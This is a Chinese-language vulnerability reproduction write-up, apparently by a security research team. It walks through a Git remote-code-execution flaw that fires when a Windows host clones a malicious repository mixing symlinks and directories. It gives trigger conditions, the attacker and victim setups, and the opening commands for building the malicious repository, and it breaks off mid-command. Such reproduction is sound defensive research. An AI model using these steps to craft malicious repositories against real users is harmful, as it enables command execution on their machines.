git多个版本中,对符号链接处理不严格。在大小写敏感(例如Linux)的文件系统上传文件到git后,使用大小写不敏感文件系统(例如Windows)的主机克隆恶意仓库时可能导致远程命令执行。
本文由锦行科技的安全研究团队提供,从攻击者的角度还原了Git-RCE的渗透过程。
触发条件:
- 仓库中存在同名的链接符号和目录
- 符号链接指向特殊目录(目前看来是
.git/hooks
) - 受害机需要有足够权限执行恶意命令
01 复现
01 环境准备
①仓库准备:
系统:ubuntux64
需安装 git、git-lfs
执行
git lfs install命令
可能会报错
Error: Failed to call git rev-parse --git-dir: exit status 128
可以忽略
出现Git LFS initialized.
即完成安装
②受害机:
系统:win10x64
git for window:Git-2.17.1-64-bit
(https://www.npackd.org/p/git64/2.17.1.2)
git for window 的安装全为默认即可
02 恶意仓库准备
①在github新建仓库:
网上相应教程很多,不赘述
②在ubuntu构建恶意仓库并上传到github:
执行命令如下
$ git init delayed-checkout
$ cd delayed-checkout &&
echo "A/post-checkout filter=lfs diff=lfs merge=lfs">.gitattribut